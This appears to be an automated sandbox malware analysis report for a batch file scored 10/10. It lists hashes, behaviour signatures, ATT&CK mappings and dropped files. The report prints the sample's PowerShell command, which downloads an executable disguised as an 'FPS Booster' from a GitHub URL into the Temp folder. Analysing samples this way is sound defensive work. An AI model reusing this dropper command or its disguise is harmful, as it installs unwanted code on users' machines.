6e2bc4ca91ab8cebe70cf9ed66442e0691984422e09075487069713aeda1b026

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/06/2026, 02:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
testttttttttttttttttttttt.bat
Size 10KB
Sample260627-c6sslshs2m
SHA256 6e2bc4ca91ab8cebe70cf9ed66442e0691984422e09075487069713aeda1b026
MD5 25e586ed64bef22fd6915a8719871f43
SHA1 c9fecf246342253ab5b91da0e7b529a1db507bce
SHA512 c8a68180a6ad3c075ab50712dea4649dd8dd8cf041078fdd79bc0ce7b14650df0de1b97617add3031b051c262388a986e41a4e299f734fa37101c247bd5737a7
SSDEEP 192:rtPNeYhtz/DNrDep60IZzXDPbOcP/7K6VB38:VNeCt7FDZ0IVDPbR7K6VF8
TLSH
T149324E76347ADC2808A11F324D712506FE2145E7315C2CA9B1EFE03B678D7FA3A5D166
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://downgit.github.io/#/home?url=https://github.com/ZurbsOV/yoyoyo/blob/main/FPSBooster.exe

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	5944	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5944	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3908	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5944	powershell.exe
5944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5944	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4276 wrote to memory of 988	4276	cmd.exe	91
PID 4276 wrote to memory of 5944	4276	cmd.exe	92
PID 4276 wrote to memory of 3908	4276	cmd.exe	93

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\testttttttttttttttttttttt.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4276
- C:\Windows\system32\mode.com
  mode con: cols=100 lines=30
  2⤵
  PID:988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url='https://downgit.github.io/#/home?url=https://github.com/ZurbsOV/yoyoyo/blob/main/FPSBooster.exe'; $dest='C:\Users\Admin\AppData\Local\Temp\FPS_Booster.exe'; $wc=New-Object System.Net.WebClient; $wc.Headers.Add('User-Agent','Mozilla/5.0'); $wc.DownloadFile($url,$dest)"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5944
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FPS_Booster.exe

Path C:\Users\Admin\AppData\Local\Temp\FPS_Booster.exe
Size 1KB
SHA256 804ce1439e171df861fb1f7e015240b26fcb7070c4f724d02cc337da52fd7922
MD5 1606fa3a56521491d18650e7d6a658bc
SHA1 c8502e3d5a399a27f51ffb410df26649ea08c48d
SHA512 985b8450fc1a80c786fc3edd3fbb09f8fbd30eb92b7f769ff52b806220962c33148547fb7b8d0362df00f2d528eb2df5f37e6212cb421ac42e8c36f07e061506
TLSH
T1024100DBAFE8C4066101D9AE35A1B50EECA6111B5454CDACB1BDDA380FA23CE4C2F801
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_miq2esf0.xyu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_miq2esf0.xyu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5944-0-0x00007FF883A3F000-0x00007FF883A40000-memory.dmp

Download

memory/5944-6-0x00000188B2EB0000-0x00000188B2ED2000-memory.dmp

Download

memory/5944-8-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

Download

memory/5944-9-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

Download

memory/5944-10-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

Download

memory/5944-11-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

Download

memory/5944-12-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

Download

memory/5944-15-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

Download

memory/5944-16-0x00007FF8838B0000-0x00007FF884254000-memory.dmp

Download